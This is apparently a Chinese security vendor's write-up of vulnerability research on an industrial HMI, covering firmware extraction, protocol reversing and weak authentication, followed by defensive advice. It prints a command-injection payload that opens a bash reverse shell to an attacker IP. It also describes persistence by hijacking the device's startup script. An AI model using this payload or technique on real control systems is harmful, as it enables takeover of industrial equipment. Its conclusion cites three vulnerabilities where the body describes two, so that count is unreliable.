- 全部
- 企业新闻
- 行业动态
- 前沿技术
总机: 010-8250-9710
热线: 400-1066-819
工控漏洞挖掘:深入HMI攻防实战
返回2026-03-31 公司原创
一、概述
人机界面(HMI)是工业控制系统中的核心组件之一,广泛应用于自动化生产线、智能工厂、能源管理等场景。HMI不仅负责设备状态监控、数据采集与可视化,还承担着与上位机(如SCADA系统、工程站)的关键通信任务,是连接物理设备与信息系统的桥梁。
在工业4.0和物联网(IoT)快速发展的背景下,HMI的安全性直接影响整个工控系统的稳定运行。一旦HMI存在安全漏洞,攻击者可能通过协议逆向、固件分析等手段获取设备控制权,进而篡改生产参数、窃取工艺数据甚至造成物理损坏。因此,对HMI进行深入的安全研究,具有重要的现实意义和行业参考价值。
本文旨在对某厂商HMI的固件、通信协议及核心服务进行全面的安全分析,重点围绕通信协议逆向、固件分析、漏洞利用等方向展开。
二、分 析
2.1.硬件分析
PCB硬件如下:
AM3352:TI Sitara 系列 ARM Cortex-A8 工业级处理器,它专为需要平衡性能、功耗和丰富外设的工业及消费类应用而设计。
NAND Flash:图中该芯片来自铠侠的 1Gbit SLC NAND Flash,采用 24nm制程,TSOP-48封装。芯片内部集成了ECC纠错引擎,无需主控额外处理坏块管理。
网络接口:10/100 Mbps以太网(基于TI CPSW驱动)
串口:6个OMAP UART(ttyO0–ttyO5),串口线是用于透传数据的(PLC → HMI1 → HMI2, HMI2通过HMI1转发PLC1的数据)
2.2 固件提取
使用编程器+TSOP48座子提取Nand Flash固件,binwalk查看布局,发现偏移明显存在问题:
这是因为Nand Flash提取出来的原始固件包含OOB区域,用于坏块检测以及芯片纠错,规格书上对于OOB的描述如下:
意思是每2048B会有64B的OOB数据,因此每个内存页的大小是2112B,每个块有64个内存页,一共1024个块。
根据手册,该芯片是带有内部纠错功能的,编程器在提取固件的过程中会自动进行ECC纠错。我们进行了多次提取并比对结果,发现确实没有发生位翻转的情况。
根据实际情况,编写了坏块剔除与OOB去除脚本,得到了逻辑上的真实固件,布局如下:
不过,这种情况其实可以直接利用linux内核自带的ubi驱动来挂载固件,无需手动进行OOB去除。
首先是加载用到的内核模块:
模拟Nand Flash:
这部分参数参考自芯片手册:
初始化ubi设备:
制作硬盘并挂载:
这样一来就得到了完整的文件系统。
2.3 固件分析
对得到的固件进行分析,一些关键文件如下:
1.dlsrv:负责与上位机的TCP通信,实现挑战-响应认证、文件传输、命令执行等功能。该服务以fork()方式创建两个子进程,分别处理串口(serial)和套接字(socket)通信。
2.launch:HMI业务启动器,负责加载并执行项目文件,同时启动GUI和COM两个核心业务进程。
3.udpsvr:绑定UDP 9000端口,接收特定格式的数据包,支持设备昵称修改、硬件状态查询等功能。
2.4 通信协议分析
该HMI与上位机之间通过TCP传输协议数据交互,通过Wireshark抓包与IDA逆向分析,我们还原了上位机与HMI之间的专有协议格式。
协议基于TCP,每个数据包基本结构如下:
鉴权方式采用Challenge-Response,流程如下图所示:
●上位机A向终端设备B发送请求,B收到后使用由一个硬编码字符串派生得来的key和iv对`helloworld`字符串进行加密,并将相关参数和校验字段放在协议消息中发回给A
●A使用获得的参数与校验字段解密字符串,得到`helloworld`以信任B。随后同样使用硬编码的字符串进行密钥派生,对`helloworld`字符串进行加密,发送给B
●B同样进行解密,成功后信任A
●A此时把登录密码进行加密,发送给B进行验证
●B验证通过,双方建立可信信道
相关代码片段如下图所示:
认证通过后,上位机可使用50 01功能码发送命令,支持的操作包括:
●mkdir、list、list2:文件系统操作
●sendfile、getfile:文件上传/下载
●run、stop:项目运行/停止
●batchdownload:批量下载
●scanfont:字体扫描
●OS_information、allproject:系统信息查询
相关代码:
需要特别指出的是,系统全程采用明文方式传输数据;在完成身份认证之后,通信内容仍未启用任何形式的加密机制。这一设计将导致数据面临严重的机密性与完整性威胁。
三、攻击面与威胁
3.1 攻击面梳理
基于对固件和协议的深入分析,梳理出如下攻击面:
1.协议漏洞:HMI与上位机交互的过程高度依赖协议,如果协议解析的过程本身存在漏洞,那么将面临各种各样的安全风险。
2.认证漏洞:密钥派生过程中的重要参数被硬编码,攻击者嗅探到挑战响应握手流程的数据包后可基于对加密算法的逆向来破解HMI访问密码。
3.固件提取和篡改:未禁用硬件中的调试接口,攻击者可以轻松提取到固件,进行逆向分析。同样,未对固件刷写做限制,攻击者可以使用降级攻击引入漏洞,或直接刷写固件以植入后门。
4.中间人攻击:由于鉴权方式比较简单且链路并未对传输数据加密,这类设备与上位机的通信很容易遭受中间人攻击,造成未授权命令执行等后果,攻击者可以接管节点与上位机认证后的所有交互。
3.2 漏洞利用
在本次安全研究中,我们发现了多个严重漏洞,漏洞已上报给相关厂商。
第一个漏洞位于上位机程序中。在与HMI进行挑战响应校验时,程序未能对接收的数据包进行严格的边界检查,当数据长度超过了预设的缓冲区容量时,多余的数据会覆盖内存栈上的其他信息,从而导致栈溢出。
通过部署恶意脚本冒充原本的HMI,我们可以在上位机尝试连接时发送特制的数据包来触发栈溢出漏洞,进而造成上位机崩溃,甚至获得系统的控制权限。
通过WinDbg附加到上位机进程,可以看到栈帧被破坏,进入到了STACK_COOKIE_CHECK_FAILURE的报错退出,程序崩溃:
第二个漏洞位于HMI设备中的dlsrv服务。通过认证后的某些特权命令对协议内容缺少过滤,造成了命令注入漏洞,攻击者可以构造恶意协议流量与HMI设备交互,从而执行任意系统命令。
该漏洞的利用分为两个步骤:首先通过正常认证流程建立会话,然后发送恶意的rm命令实现命令注入。
步骤1:认证绕过
由于HMI的认证协议基于预共享密钥,我们通过逆向dlsrv服务获取了密钥派生算法,并编写了Python认证库,成功模拟上位机完成认证。
步骤2:命令注入
认证通过后,构造特定Payload,解码后命令为:rm 1;bash -i >& /dev/tcp/192.168.***/2333 0>&1
发送Payload后,HMI执行了拼接的命令,实现注入,攻击机上建立了反向Shell连接,如下图所示:
通过劫持/root/launch启动脚本进一步巩固控制权,每次HMI重启都会自动反弹Shell,实现权限维持。
3.3 安全防护建议
针对上述漏洞及攻击面,我们提出以下多层次防护建议,帮助用户提升HMI的安全性。
3.3.1 网络层防护
●网络分段与隔离:将HMI部署在独立的工控网段,通过防火墙严格限制访问来源(仅允许可信的上位机IP和端口)。
●入侵检测部署:在工控网络边界部署IDS/IPS,检测异常协议流量(如异常长度的数据包、非法命令字符串)。
●VPN加密通信:若HMI需远程维护,应通过VPN建立加密隧道,避免协议明文传输。
3.3.2 设备层防护
●固件更新:及时关注厂商安全公告,更新至最新固件版本,修复已知漏洞。
●最小化服务:关闭非必要服务(如FTP、VNC、X11),减少攻击面。
●调试接口禁用:通过硬件跳线或软件配置禁用UART调试接口,防止物理攻击。
3.3.3 协议层防护
●增强认证机制:采用双向证书认证替代简单的Challenge-Response,确保通信双方身份可信。
●输入验证:对所有网络数据包进行严格的长度、格式校验,拒绝异常数据。
●命令过滤:对用户输入的命令参数进行白名单过滤,禁止特殊字符(如;、&、|)。
3.3.4 管理层防护
●安全审计:定期对HMI进行安全评估,包括漏洞扫描、渗透测试。
●日志监控:启用HMI系统日志,监控异常登录、命令执行等事件。
●应急预案:制定HMI安全事件应急预案,包括隔离、恢复、溯源等流程。
四、总结
本文通过对某厂商HMI的固件逆向、协议分析和漏洞挖掘,揭示了该设备在身份认证、数据解析、命令处理等方面存在的安全隐患。三个漏洞(整数溢出、缓冲区溢出、命令拼接)均具有较高的可利用性,攻击者可借此实现信息泄露、远程代码执行甚至持久化控制。
这些漏洞的根本原因在于开发过程中对输入验证、边界检查和安全编程规范的忽视。在工业控制设备生命周期中,安全应作为核心需求贯穿设计、开发、测试、部署各个环节。厂商需加强安全开发培训,采用代码审计、模糊测试等手段提前发现漏洞;用户则应遵循最小权限原则,加强网络防护,定期更新补丁。
HMI作为工控系统的重要入口,其安全性直接关系到生产过程的连续性与可靠性。只有厂商、用户、安全研究者共同努力,才能构建更健壮的工业互联网安全防线。